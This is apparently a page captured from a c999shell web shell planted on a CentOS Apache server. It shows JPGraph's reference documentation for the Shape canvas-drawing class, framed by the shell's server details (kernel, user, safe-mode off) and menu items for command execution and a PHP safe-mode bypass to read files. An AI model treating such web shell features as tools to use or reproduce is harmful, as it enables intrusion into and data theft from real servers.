Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Shape.html (35.91 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | CLASS Shape
(Defined in: jpgraph_canvtools.php : 70)Class usage and Overview This is mainly awrapper class around thye current image class used. It is meant to make it easier to work with a Canvas graph and a Canvas scale. Basically the class uses the specified scale to trasnalte coordinates which is then passed on to the standard Image routines.
See also related classes: CanvasScale
Class Methods
Description Draw a Bezier line with specified in the $p array. The points are specified according to the current scale. The positions in the array has the following meaning
(0,1) x0,y0 (First point on curver)
See example in canvasbezierex1.php
Example $shape->SetColor('black'); $shape->Bezier($p);
Description Draw a circle onto the canvas
See also Image::Circle
Example // the coordinates for us $shape = new Shape($g,$scale); $shape->SetColor('black'); // .. and a circle (x,y,diameter) $shape->Circle(5,14,2);
Description Draw a filled circle on the canvas using the specified scale.
Note: If you are using GD1.xx you will see moire-patterns in large circles. This is due to the lack of a proper filled circle function in GD 1.xx. Using GD 2.xx will avoid this problem.
See also Image::FilledCircle
Example // the coordinates for us $shape = new Shape($g,$scale); $shape->SetColor('black'); // .. and a circle (x,y,diameter) $shape->FilledCircle(5,14,2);
Description Draw a filled polygon
Description Draw a filled rectangle on the canvas using the current sclae.
Example // .. add a rectangle $shape->SetColor('green'); $shape->FilledRectangle(15,8,19,14);
Description Create a filled rectangle with rounded corners
Description A rounded rectangle where one of the corner has been moved "into" the rectangle. The indention is determined by the two argument
'iw' width and 'ih' height.
The corners (as used in the $aCorner) are numbered as
0=Top left, 1=top right, 2=bottom right, 3=bottom left
Description Draw a line between two points in the canvas using the current scale. See also Image::Line
Example // Add a black line $shape->SetColor('black'); $shape->Line(0,0,20,20);
Description Draw a closed polygon Example $shape->SetColor('blue:0.35'); $shape->Polygon($p);
Description Draw a rectangle on the canvas using the current scale. Example $shape->SetColor('green'); $shape->Rectangle(15,8,19,14);
Description Draw a rectangle with rounded corners
Description Specify color to use when drawing shapes See also RGB::Color
Example $shape->SetColor('black'); $shape->Line(0,0,20,20);
Description Specifies how the coordinate for the text should be interpretated. Possible values for horizontal base-position are
Example // top left corner of the bounding box for the text $shape->SetTextAlign('left','top'); $shape->StrokeText(....)
Description Draw a filled rectangle with a drop shadow
Description Create a new shape class used to draw siple shape onto a canvas using the specified scale. See also CanvasGraph::CanvasGraph and CanvasScale::CanvasScale
Example $g = new CanvasGraph(400,200,'auto'); $g->SetMargin(5,11,6,11); $g->SetShadow(); $g->SetMarginColor("teal"); // We need to stroke the plotarea and margin before we add the // text since we otherwise would overwrite the text. $g->InitFrame(); // Create a new scale $scale = new CanvasScale($g); $scale->Set(0,$xmax,0,$ymax); // The shape class is wrapper around the Imgae class which translates // the coordinates for us $shape = new Shape($g,$scale);
Description Stroke a text string onto the canvas. See also CanvasRectangleText::CanvasRectangleText
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.017 ]-- |